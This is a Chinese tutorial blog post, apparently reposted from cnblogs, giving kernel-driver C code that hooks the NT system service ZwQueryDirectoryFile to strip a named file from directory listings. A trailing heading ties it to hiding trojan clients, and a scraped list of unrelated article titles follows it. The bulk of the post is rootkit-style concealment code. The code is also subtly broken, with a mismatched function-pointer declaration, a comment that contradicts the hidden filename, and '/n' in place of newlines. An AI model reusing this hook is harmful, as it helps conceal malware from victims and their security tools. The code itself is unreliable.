目前NT下有很多种隐藏文件和目录的方法,其中最简单的一种是给文件和文件夹加上系统属性和隐藏属性,操作系统就会不在显示了,而且查找也找不到了,但是这种方法一点都不彻底,没有可用性!下面我们来介绍用NT驱动程序来拦截NTAPI来实现彻底隐藏文件和目录的目的。NT下有一个文件NTDLL.DLL,大部分NTAPI都是在这个库中封装的。其中实现查找文件和目录的API接口是ZwQueryDirectoryFile,所以我们只要拦截这个API的话,文件和目录就可以完全隐藏了!下面来一步不实现(准备工作:到NTDDK中找一个WDM驱动程序模型,也就是最简单的驱动程序了):

1.定义FILE_INFORMATION_CLASS的第3号结构:_FILE_BOTH_DIR_INFORMATION,这个结构是ZwQueryDirectoryFile必须参数。

typedef struct _FILE_BOTH_DIR_INFORMATION {
    ULONG           NextEntryOffset;
    ULONG           FileIndex;
    LARGE_INTEGER   CreationTime;
    LARGE_INTEGER   LastAccessTime;
    LARGE_INTEGER   LastWriteTime;
    LARGE_INTEGER   ChangeTime;
    LARGE_INTEGER   EndOfFile;
    LARGE_INTEGER   AllocationSize;
    ULONG           FileAttributes;
    ULONG           FileNameLength;
    ULONG           EaSize;
    CCHAR           ShortNameLength;
    WCHAR           ShortName[12];
    WCHAR           FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;

2.先申明ZwQueryDirectoryFile,然后定义ZwQueryDirectoryFile的原型:

extern NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile(
             IN HANDLE hFile,
             IN HANDLE hEvent OPTIONAL,
             IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
             IN PVOID IoApcContext OPTIONAL,
             OUT PIO_STATUS_BLOCK pIoStatusBlock,
             OUT PVOID FileInformationBuffer,
             IN ULONG FileInformationBufferLength,
             IN FILE_INFORMATION_CLASS FileInfoClass,
             IN BOOLEAN bReturnOnlyOneEntry,
             IN PUNICODE_STRING PathMask OPTIONAL,
             IN BOOLEAN bRestartQuery);

//定义ZwQueryDirectoryFile的原型

typedef NTSTATUS (*REALZWQUERYDIRECTORYFILE)(IN HANDLE hFile,
            IN HANDLE hEvent OPTIONAL,
            IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
            IN PVOID IoApcContext OPTIONAL,
            OUT PIO_STATUS_BLOCK pIoStatusBlock,
            OUT PVOID FileInformationBuffer,
            IN ULONG FileInformationBufferLength,
            IN FILE_INFORMATION_CLASS FileInfoClass,
            IN BOOLEAN bReturnOnlyOneEntry,
            IN PUNICODE_STRING PathMask OPTIONAL,
            IN BOOLEAN bRestartQuery);

//定义一个原函数指针
REALZWQUERYSYSTEMINFORMATION RealZwQuerySystemInformation;

3.定义替换API函数的原型:

NTSTATUS HookZwQueryDirectoryFile(
          IN HANDLE hFile,
          IN HANDLE hEvent OPTIONAL,
          IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
          IN PVOID IoApcContext OPTIONAL,
          OUT PIO_STATUS_BLOCK pIoStatusBlock,
          OUT PVOID FileInformationBuffer,
          IN ULONG FileInformationBufferLength,
          IN FILE_INFORMATION_CLASS FileInfoClass,
          IN BOOLEAN bReturnOnlyOneEntry,
          IN PUNICODE_STRING PathMask OPTIONAL,
          IN BOOLEAN bRestartQuery);

4.在DriverEntry(驱动入口)函数中加入如下申明:

//保存真正的ZwQueryDirectoryFile函数地址

RealZwQueryDirectoryFile=(REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile));

//把自定义的替换函数指针指向真正的ZwQueryDirectoryFile函数

(REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile))=HookZwQueryDirectoryFile;

5.在DriverUnload(驱动卸载函数)函数中加入恢复代码:

//恢复原来的函数指针

(REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile))=RealZwQueryDirectoryFile;

6.现在准备工作做好了,函数指针都已经设置转向了,剩下的是实现这个我们自定义的替换函数HookZwQueryDirectoryFile,代码如下:

NTSTATUS HookZwQueryDirectoryFile(
    IN HANDLE hFile,
    IN HANDLE hEvent OPTIONAL,
    IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
    IN PVOID IoApcContext OPTIONAL,
    OUT PIO_STATUS_BLOCK pIoStatusBlock,
    OUT PVOID FileInformationBuffer,
    IN ULONG FileInformationBufferLength,
    IN FILE_INFORMATION_CLASS FileInfoClass,
    IN BOOLEAN bReturnOnlyOneEntry,
    IN PUNICODE_STRING PathMask OPTIONAL,
    IN BOOLEAN bRestartQuery)
{
NTSTATUS rc;
ULONG CR0VALUE;

ANSI_STRING ansiFileName,ansiDirName,HideDirFile;
UNICODE_STRING uniFileName;

//初始化要过虑的文件名这里是debug.exe
RtlInitAnsiString(&HideDirFile,"DBGVIEW.EXE");

// 执行真正的ZwQueryDirectoryFile函数
rc = ((REALZWQUERYDIRECTORYFILE)(RealZwQueryDirectoryFile))(
  hFile,
  hEvent,
  IoApcRoutine,
  IoApcContext,
  pIoStatusBlock,
  FileInformationBuffer,
  FileInformationBufferLength,
  FileInfoClass,
  bReturnOnlyOneEntry,
  PathMask,
  bRestartQuery);
   /*如果执行成功(而且FILE_INFORMATION_CLASS的值为FileBothDirectoryInformation,我们就进行处理,过滤*/
    if(NT_SUCCESS(rc)&& (FileInfoClass == FileBothDirectoryInformation))
{
  PFILE_BOTH_DIR_INFORMATION pFileInfo;
  PFILE_BOTH_DIR_INFORMATION pLastFileInfo;
  BOOL bLastOne;
  //把执行结果赋给pFileInfo
  pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer;
  pLastFileInfo = NULL;
  //循环检查
  do
  {
   bLastOne = !( pFileInfo->NextEntryOffset );
   RtlInitUnicodeString(&uniFileName,pFileInfo->FileName);
   RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
   RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
   RtlUpperString(&ansiFileName,&ansiDirName);
   //打印结果,用debugview可以查看打印结果
   DbgPrint("ansiFileName :%s/n",ansiFileName.Buffer);
   DbgPrint("HideDirFile :%s/n",HideDirFile.Buffer);
   
   // 开始进行比较,如果找到了就隐藏这个文件或者目录
   if( RtlCompareMemory(ansiFileName.Buffer,HideDirFile.Buffer,HideDirFile.Length ) == HideDirFile.Length)
   {
    DbgPrint("This is HideDirFile!/n");
    if(bLastOne)
    {
     if(pFileInfo == (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer )
     {
      rc = 0x80000006; //隐藏文件或者目录;
     }
     else
     {
      pLastFileInfo->NextEntryOffset = 0;
     }
     break;
    }
    else //指针往后移动
    {
     int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformationBuffer;
     int iLeft = (DWORD)FileInformationBufferLength - iPos - pFileInfo->NextEntryOffset;
     RtlCopyMemory( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (DWORD)iLeft );
     continue;
    }
   }
   pLastFileInfo = pFileInfo;
   pFileInfo = (PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo + pFileInfo->NextEntryOffset);
   
  }while(!bLastOne);
  RtlFreeAnsiString(&ansiDirName);
  RtlFreeAnsiString(&ansiFileName);
}
return(rc);
}

转载于:https://www.cnblogs.com/yincheng01/archive/2009/04/14/2213340.html

驱动拦截NT的API实现隐藏木马客户端相关推荐

  1. C盘目录下隐藏木马清除方法

    例:C:\Windows\Fonts目录底下隐藏木马清除方法 1.打开命令提示符,目录切换到C:\Windows\Fonts目录底下,命令:cd C:\Windows\Fonts 2.查看该目录底下的 ...

  2. ASP.NET Core与Dapper和VS 2017使用JWT身份验证WEB API并在Angular2客户端应用程序中使用它

    目录 介绍 背景 步骤1 创建ASP.NET Core Web API项目 Fitness.JWT.API项目说明 使用代码 startup.cs JwtIssuerOptions.cs JwtCon ...

  3. Oracle ODBC 驱动安装及详细配置(不需安装客户端)

     Oracle ODBC 驱动安装及详细配置(不需安装客户端) 详细见百度网盘和360网盘 http://wenku.baidu.com/link?url=7hmzRoroZm2TQGwLcK4w ...

  4. 已安装oracle客户端odbc驱动,Oracle ODBC驱动安装和详细配置(不需安装客户端).doc

    Oracle ODBC驱动安装和详细配置(不需安装客户端) 逃搐候成册娘憋致嵌阵谴抨纲携猩挞子洛捆锻戮审殖纷倔番布南袄堰谗邵淄淹糠找餐拦沁小蓝哮棺轴阐通瓜烙恕蕴俱番者沧曳岳念侯淬科虐廊鸟徽搀亲温抒边子 ...

  5. Paw for Mac v3.3.3 – API接口调试http客户端

    Paw是功能齐全的HTTP客户端,可让您测试和描述您构建或使用的API.它具有漂亮的本机macOS界面,可组成请求,检查服务器响应,生成客户端代码并导出API定义. Paw for Mac v3.3. ...

  6. 接口 Swagger 部分Web API的隐藏

    背景 Swagger是目前最受欢迎的REST APIs文档生成工具,同时也是API的在线测试工具.功能强大谁用谁知道.我就不用在这里推广它了.今天要解决的问题是:如果让一些特定的API接口在Swagg ...

  7. 微信禁用右上角的分享按钮,WeixinJSBridge API以及隐藏分享的子按钮等菜单项

    今天在做隐藏微信右上角的分享按钮 百度查到的一串代码,挺好用的 <!--禁用微信分享按钮--><script>function onBridgeReady() {WeixinJ ...

  8. iOS事件拦截(实现触摸任意位置隐藏指定view)

    项目里有一个需求,类似新浪或者腾讯微博的顶部title栏的类别选择器的消失(在选择器展开的时候,触摸屏幕任何地方使其消失). 最开始的想法是当这个选择器(selectorView)展开的时候,在当前屏 ...

  9. Linux设备驱动:DMA 接口API

    目录 DMA概述 DMA与cache的一致性 相关API DMA数据结构 DMA概述 DMA是一种无需CPU的参加就可以让外设与系统内存之间进行双向数据传输的硬件机制. 它可以使系统CPU从实际的I/ ...

最新文章

  1. 使用DotNetCharting控件生成报表统计图总结
  2. SAP财务管控(财务总监背后的管理大师)
  3. C# 如何转换生成长整型的时间
  4. dubbo中的Filter顺序是如何确定的
  5. ASP.NET Core Razor 视图组件
  6. 图表可视化seaborn风格和调色盘
  7. 凯斯西储大学计算机工程排名,[转载]凯斯西储大学排名及世界排名【研究生】...
  8. php读取三维数组,php 读取多维数组方法_PHP教程
  9. 安装vmware-tools遇the path is not valid path to the gcc binary和the path is not a valid path to th...
  10. android开发:NDK开发配置
  11. 怎么把优酷的kux格式转换成avi格式
  12. ”骇客“不可缺少的电脑软件
  13. 计算机误删恢复软件,电脑误删文件恢复软件_手机数据恢复工具-万能数据恢复大师...
  14. matlab读ascii的dat,[转载]MATLAB读取和调用各种数据(txt,dat,ma
  15. 简单理解 TP、FN、FT 及 TN和准确率、精确率、召回率 的含义
  16. c++一维数组找出五个数中的最大和最小值
  17. 测试有没有说梦话的软件,抖音上记录梦话的软件是什么 记录梦话的软件介绍...
  18. 《CSAPP》(第3版)答案(第六章)(一)
  19. android之NFC基础技术分享
  20. 安装SQL2000,提示安装程序配置服务器失败。

热门文章

  1. Hyperledger Fabric 1.0 从零开始(十二)——fabric-sdk-java应用【补充】
  2. ubuntu14.04中离线安装docker
  3. Python中re(正则表达式)模块学习
  4. 《Excel 职场手册:260招菜鸟变达人》一第 26 招 对齐两个字的名字
  5. 压缩文本、字节或者文件的压缩辅助类-GZipHelper 欢迎收藏
  6. 【VMCloud云平台】SCOM配置(十五)-启用SCOM日志审计(ACS)
  7. 怎的使用jstack诊断Java应用程序故障
  8. SQL注入漏洞修复办法
  9. Blas SGEMM launch failed
  10. 问题 G: Search Problem (IV)